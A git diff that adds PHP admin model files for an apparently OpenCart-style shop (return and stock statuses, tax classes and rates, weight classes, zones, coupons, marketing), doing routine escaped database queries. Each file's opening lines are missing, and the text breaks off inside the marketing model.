+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET return_status_id = '" . (int)$return_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('return_status');
+ }
+
+ public function deleteReturnStatus($return_status_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ $this->cache->delete('return_status');
+ }
+
+ public function getReturnStatus($return_status_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getReturnStatuses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $return_status_data = $this->cache->get('return_status.' . (int)$this->config->get('config_language_id'));
+
+ if (!$return_status_data) {
+ $query = $this->db->query("SELECT return_status_id, name FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $return_status_data = $query->rows;
+
+ $this->cache->set('return_status.' . (int)$this->config->get('config_language_id'), $return_status_data);
+ }
+
+ return $return_status_data;
+ }
+ }
+
+ public function getReturnStatusDescriptions($return_status_id) {
+ $return_status_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ foreach ($query->rows as $result) {
+ $return_status_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $return_status_data;
+ }
+
+ public function getTotalReturnStatuses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/stock_status.php b/public/admin/model/localisation/stock_status.php
new file mode 100644
index 0000000..dd5a2d6
--- /dev/null
+++ b/public/admin/model/localisation/stock_status.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($stock_status_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET stock_status_id = '" . (int)$stock_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $stock_status_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('stock_status');
+
+ return $stock_status_id;
+ }
+
+ public function editStockStatus($stock_status_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ foreach ($data['stock_status'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET stock_status_id = '" . (int)$stock_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('stock_status');
+ }
+
+ public function deleteStockStatus($stock_status_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ $this->cache->delete('stock_status');
+ }
+
+ public function getStockStatus($stock_status_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getStockStatuses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $stock_status_data = $this->cache->get('stock_status.' . (int)$this->config->get('config_language_id'));
+
+ if (!$stock_status_data) {
+ $query = $this->db->query("SELECT stock_status_id, name FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $stock_status_data = $query->rows;
+
+ $this->cache->set('stock_status.' . (int)$this->config->get('config_language_id'), $stock_status_data);
+ }
+
+ return $stock_status_data;
+ }
+ }
+
+ public function getStockStatusDescriptions($stock_status_id) {
+ $stock_status_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ foreach ($query->rows as $result) {
+ $stock_status_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $stock_status_data;
+ }
+
+ public function getTotalStockStatuses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/tax_class.php b/public/admin/model/localisation/tax_class.php
new file mode 100644
index 0000000..c7f60d2
--- /dev/null
+++ b/public/admin/model/localisation/tax_class.php
@@ -0,0 +1,105 @@
+db->query("INSERT INTO " . DB_PREFIX . "tax_class SET title = '" . $this->db->escape($data['title']) . "', description = '" . $this->db->escape($data['description']) . "', date_added = NOW()");
+
+ $tax_class_id = $this->db->getLastId();
+
+ if (isset($data['tax_rule'])) {
+ foreach ($data['tax_rule'] as $tax_rule) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rule SET tax_class_id = '" . (int)$tax_class_id . "', tax_rate_id = '" . (int)$tax_rule['tax_rate_id'] . "', based = '" . $this->db->escape($tax_rule['based']) . "', priority = '" . (int)$tax_rule['priority'] . "'");
+ }
+ }
+
+ $this->cache->delete('tax_class');
+
+ return $tax_class_id;
+ }
+
+ public function editTaxClass($tax_class_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "tax_class SET title = '" . $this->db->escape($data['title']) . "', description = '" . $this->db->escape($data['description']) . "', date_modified = NOW() WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rule WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ if (isset($data['tax_rule'])) {
+ foreach ($data['tax_rule'] as $tax_rule) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rule SET tax_class_id = '" . (int)$tax_class_id . "', tax_rate_id = '" . (int)$tax_rule['tax_rate_id'] . "', based = '" . $this->db->escape($tax_rule['based']) . "', priority = '" . (int)$tax_rule['priority'] . "'");
+ }
+ }
+
+ $this->cache->delete('tax_class');
+ }
+
+ public function deleteTaxClass($tax_class_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_class WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rule WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ $this->cache->delete('tax_class');
+ }
+
+ public function getTaxClass($tax_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_class WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTaxClasses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "tax_class";
+
+ $sql .= " ORDER BY title";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $tax_class_data = $this->cache->get('tax_class');
+
+ if (!$tax_class_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_class");
+
+ $tax_class_data = $query->rows;
+
+ $this->cache->set('tax_class', $tax_class_data);
+ }
+
+ return $tax_class_data;
+ }
+ }
+
+ public function getTotalTaxClasses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "tax_class");
+
+ return $query->row['total'];
+ }
+
+ public function getTaxRules($tax_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_rule WHERE tax_class_id = '" . (int)$tax_class_id . "' ORDER BY priority ASC");
+
+ return $query->rows;
+ }
+
+ public function getTotalTaxRulesByTaxRateId($tax_rate_id) {
+ $query = $this->db->query("SELECT COUNT(DISTINCT tax_class_id) AS total FROM " . DB_PREFIX . "tax_rule WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/tax_rate.php b/public/admin/model/localisation/tax_rate.php
new file mode 100644
index 0000000..0b049d0
--- /dev/null
+++ b/public/admin/model/localisation/tax_rate.php
@@ -0,0 +1,104 @@
+db->query("INSERT INTO " . DB_PREFIX . "tax_rate SET name = '" . $this->db->escape($data['name']) . "', rate = '" . (float)$data['rate'] . "', `type` = '" . $this->db->escape($data['type']) . "', geo_zone_id = '" . (int)$data['geo_zone_id'] . "', date_added = NOW(), date_modified = NOW()");
+
+ $tax_rate_id = $this->db->getLastId();
+
+ if (isset($data['tax_rate_customer_group'])) {
+ foreach ($data['tax_rate_customer_group'] as $customer_group_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rate_to_customer_group SET tax_rate_id = '" . (int)$tax_rate_id . "', customer_group_id = '" . (int)$customer_group_id . "'");
+ }
+ }
+
+ return $tax_rate_id;
+ }
+
+ public function editTaxRate($tax_rate_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "tax_rate SET name = '" . $this->db->escape($data['name']) . "', rate = '" . (float)$data['rate'] . "', `type` = '" . $this->db->escape($data['type']) . "', geo_zone_id = '" . (int)$data['geo_zone_id'] . "', date_modified = NOW() WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ if (isset($data['tax_rate_customer_group'])) {
+ foreach ($data['tax_rate_customer_group'] as $customer_group_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rate_to_customer_group SET tax_rate_id = '" . (int)$tax_rate_id . "', customer_group_id = '" . (int)$customer_group_id . "'");
+ }
+ }
+ }
+
+ public function deleteTaxRate($tax_rate_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+ }
+
+ public function getTaxRate($tax_rate_id) {
+ $query = $this->db->query("SELECT tr.tax_rate_id, tr.name AS name, tr.rate, tr.type, tr.geo_zone_id, gz.name AS geo_zone, tr.date_added, tr.date_modified FROM " . DB_PREFIX . "tax_rate tr LEFT JOIN " . DB_PREFIX . "geo_zone gz ON (tr.geo_zone_id = gz.geo_zone_id) WHERE tr.tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTaxRates($data = array()) {
+ $sql = "SELECT tr.tax_rate_id, tr.name AS name, tr.rate, tr.type, gz.name AS geo_zone, tr.date_added, tr.date_modified FROM " . DB_PREFIX . "tax_rate tr LEFT JOIN " . DB_PREFIX . "geo_zone gz ON (tr.geo_zone_id = gz.geo_zone_id)";
+
+ $sort_data = array(
+ 'tr.name',
+ 'tr.rate',
+ 'tr.type',
+ 'gz.name',
+ 'tr.date_added',
+ 'tr.date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY tr.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTaxRateCustomerGroups($tax_rate_id) {
+ $tax_customer_group_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ foreach ($query->rows as $result) {
+ $tax_customer_group_data[] = $result['customer_group_id'];
+ }
+
+ return $tax_customer_group_data;
+ }
+
+ public function getTotalTaxRates() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "tax_rate");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalTaxRatesByGeoZoneId($geo_zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "tax_rate WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/weight_class.php b/public/admin/model/localisation/weight_class.php
new file mode 100644
index 0000000..6e131ec
--- /dev/null
+++ b/public/admin/model/localisation/weight_class.php
@@ -0,0 +1,120 @@
+db->query("INSERT INTO " . DB_PREFIX . "weight_class SET value = '" . (float)$data['value'] . "'");
+
+ $weight_class_id = $this->db->getLastId();
+
+ foreach ($data['weight_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "weight_class_description SET weight_class_id = '" . (int)$weight_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('weight_class');
+
+ return $weight_class_id;
+ }
+
+ public function editWeightClass($weight_class_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "weight_class SET value = '" . (float)$data['value'] . "' WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "weight_class_description WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ foreach ($data['weight_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "weight_class_description SET weight_class_id = '" . (int)$weight_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('weight_class');
+ }
+
+ public function deleteWeightClass($weight_class_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "weight_class WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "weight_class_description WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ $this->cache->delete('weight_class');
+ }
+
+ public function getWeightClasses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "weight_class wc LEFT JOIN " . DB_PREFIX . "weight_class_description wcd ON (wc.weight_class_id = wcd.weight_class_id) WHERE wcd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'title',
+ 'unit',
+ 'value'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $weight_class_data = $this->cache->get('weight_class.' . (int)$this->config->get('config_language_id'));
+
+ if (!$weight_class_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class wc LEFT JOIN " . DB_PREFIX . "weight_class_description wcd ON (wc.weight_class_id = wcd.weight_class_id) WHERE wcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ $weight_class_data = $query->rows;
+
+ $this->cache->set('weight_class.' . (int)$this->config->get('config_language_id'), $weight_class_data);
+ }
+
+ return $weight_class_data;
+ }
+ }
+
+ public function getWeightClass($weight_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class wc LEFT JOIN " . DB_PREFIX . "weight_class_description wcd ON (wc.weight_class_id = wcd.weight_class_id) WHERE wc.weight_class_id = '" . (int)$weight_class_id . "' AND wcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getWeightClassDescriptionByUnit($unit) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class_description WHERE unit = '" . $this->db->escape($unit) . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getWeightClassDescriptions($weight_class_id) {
+ $weight_class_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class_description WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ foreach ($query->rows as $result) {
+ $weight_class_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'unit' => $result['unit']
+ );
+ }
+
+ return $weight_class_data;
+ }
+
+ public function getTotalWeightClasses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "weight_class");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/zone.php b/public/admin/model/localisation/zone.php
new file mode 100644
index 0000000..362c90d
--- /dev/null
+++ b/public/admin/model/localisation/zone.php
@@ -0,0 +1,92 @@
+db->query("INSERT INTO " . DB_PREFIX . "zone SET status = '" . (int)$data['status'] . "', name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', country_id = '" . (int)$data['country_id'] . "'");
+
+ $this->cache->delete('zone');
+
+ return $this->db->getLastId();
+ }
+
+ public function editZone($zone_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "zone SET status = '" . (int)$data['status'] . "', name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', country_id = '" . (int)$data['country_id'] . "' WHERE zone_id = '" . (int)$zone_id . "'");
+
+ $this->cache->delete('zone');
+ }
+
+ public function deleteZone($zone_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone WHERE zone_id = '" . (int)$zone_id . "'");
+
+ $this->cache->delete('zone');
+ }
+
+ public function getZone($zone_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "zone WHERE zone_id = '" . (int)$zone_id . "'");
+
+ return $query->row;
+ }
+
+ public function getZones($data = array()) {
+ $sql = "SELECT *, z.name, c.name AS country FROM " . DB_PREFIX . "zone z LEFT JOIN " . DB_PREFIX . "country c ON (z.country_id = c.country_id)";
+
+ $sort_data = array(
+ 'c.name',
+ 'z.name',
+ 'z.code'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY c.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getZonesByCountryId($country_id) {
+ $zone_data = $this->cache->get('zone.' . (int)$country_id);
+
+ if (!$zone_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "zone WHERE country_id = '" . (int)$country_id . "' AND status = '1' ORDER BY name");
+
+ $zone_data = $query->rows;
+
+ $this->cache->set('zone.' . (int)$country_id, $zone_data);
+ }
+
+ return $zone_data;
+ }
+
+ public function getTotalZones() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalZonesByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/marketing/coupon.php b/public/admin/model/marketing/coupon.php
new file mode 100644
index 0000000..7dbf093
--- /dev/null
+++ b/public/admin/model/marketing/coupon.php
@@ -0,0 +1,152 @@
+db->query("INSERT INTO " . DB_PREFIX . "coupon SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', discount = '" . (float)$data['discount'] . "', type = '" . $this->db->escape($data['type']) . "', total = '" . (float)$data['total'] . "', logged = '" . (int)$data['logged'] . "', shipping = '" . (int)$data['shipping'] . "', date_start = '" . $this->db->escape($data['date_start']) . "', date_end = '" . $this->db->escape($data['date_end']) . "', uses_total = '" . (int)$data['uses_total'] . "', uses_customer = '" . (int)$data['uses_customer'] . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ $coupon_id = $this->db->getLastId();
+
+ if (isset($data['coupon_product'])) {
+ foreach ($data['coupon_product'] as $product_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_product SET coupon_id = '" . (int)$coupon_id . "', product_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ if (isset($data['coupon_category'])) {
+ foreach ($data['coupon_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_category SET coupon_id = '" . (int)$coupon_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+
+ return $coupon_id;
+ }
+
+ public function editCoupon($coupon_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "coupon SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', discount = '" . (float)$data['discount'] . "', type = '" . $this->db->escape($data['type']) . "', total = '" . (float)$data['total'] . "', logged = '" . (int)$data['logged'] . "', shipping = '" . (int)$data['shipping'] . "', date_start = '" . $this->db->escape($data['date_start']) . "', date_end = '" . $this->db->escape($data['date_end']) . "', uses_total = '" . (int)$data['uses_total'] . "', uses_customer = '" . (int)$data['uses_customer'] . "', status = '" . (int)$data['status'] . "' WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_product WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ if (isset($data['coupon_product'])) {
+ foreach ($data['coupon_product'] as $product_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_product SET coupon_id = '" . (int)$coupon_id . "', product_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_category WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ if (isset($data['coupon_category'])) {
+ foreach ($data['coupon_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_category SET coupon_id = '" . (int)$coupon_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+ }
+
+ public function deleteCoupon($coupon_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon WHERE coupon_id = '" . (int)$coupon_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_product WHERE coupon_id = '" . (int)$coupon_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_category WHERE coupon_id = '" . (int)$coupon_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_history WHERE coupon_id = '" . (int)$coupon_id . "'");
+ }
+
+ public function getCoupon($coupon_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "coupon WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCouponByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "coupon WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getCoupons($data = array()) {
+ $sql = "SELECT coupon_id, name, code, discount, date_start, date_end, status FROM " . DB_PREFIX . "coupon";
+
+ $sort_data = array(
+ 'name',
+ 'code',
+ 'discount',
+ 'date_start',
+ 'date_end',
+ 'status'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCouponProducts($coupon_id) {
+ $coupon_product_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "coupon_product WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ foreach ($query->rows as $result) {
+ $coupon_product_data[] = $result['product_id'];
+ }
+
+ return $coupon_product_data;
+ }
+
+ public function getCouponCategories($coupon_id) {
+ $coupon_category_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "coupon_category WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ foreach ($query->rows as $result) {
+ $coupon_category_data[] = $result['category_id'];
+ }
+
+ return $coupon_category_data;
+ }
+
+ public function getTotalCoupons() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "coupon");
+
+ return $query->row['total'];
+ }
+
+ public function getCouponHistories($coupon_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT ch.order_id, CONCAT(c.firstname, ' ', c.lastname) AS customer, ch.amount, ch.date_added FROM " . DB_PREFIX . "coupon_history ch LEFT JOIN " . DB_PREFIX . "customer c ON (ch.customer_id = c.customer_id) WHERE ch.coupon_id = '" . (int)$coupon_id . "' ORDER BY ch.date_added ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalCouponHistories($coupon_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "coupon_history WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/marketing/marketing.php b/public/admin/model/marketing/marketing.php
new file mode 100644
index 0000000..df585e2
--- /dev/null
+++ b/public/admin/model/marketing/marketing.php
@@ -0,0 +1,118 @@
+db->query("INSERT INTO " . DB_PREFIX . "marketing SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', code = '" . $this->db->escape($data['code']) . "', date_added = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editMarketing($marketing_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "marketing SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', code = '" . $this->db->escape($data['code']) . "' WHERE marketing_id = '" . (int)$marketing_id . "'");
+ }
+
+ public function deleteMarketing($marketing_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "marketing WHERE marketing_id = '" . (int)$marketing_id . "'");
+ }
+
+ public function getMarketing($marketing_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "marketing WHERE marketing_id = '" . (int)$marketing_id . "'");
+
+ return $query->row;
+ }
+
+ public function getMarketingByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "marketing WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getMarketings($data = array()) {
+ $implode = array();
+
+ $order_statuses = $this->config->get('config_complete_status');
+
+ foreach ($order_statuses as $order_status_id) {
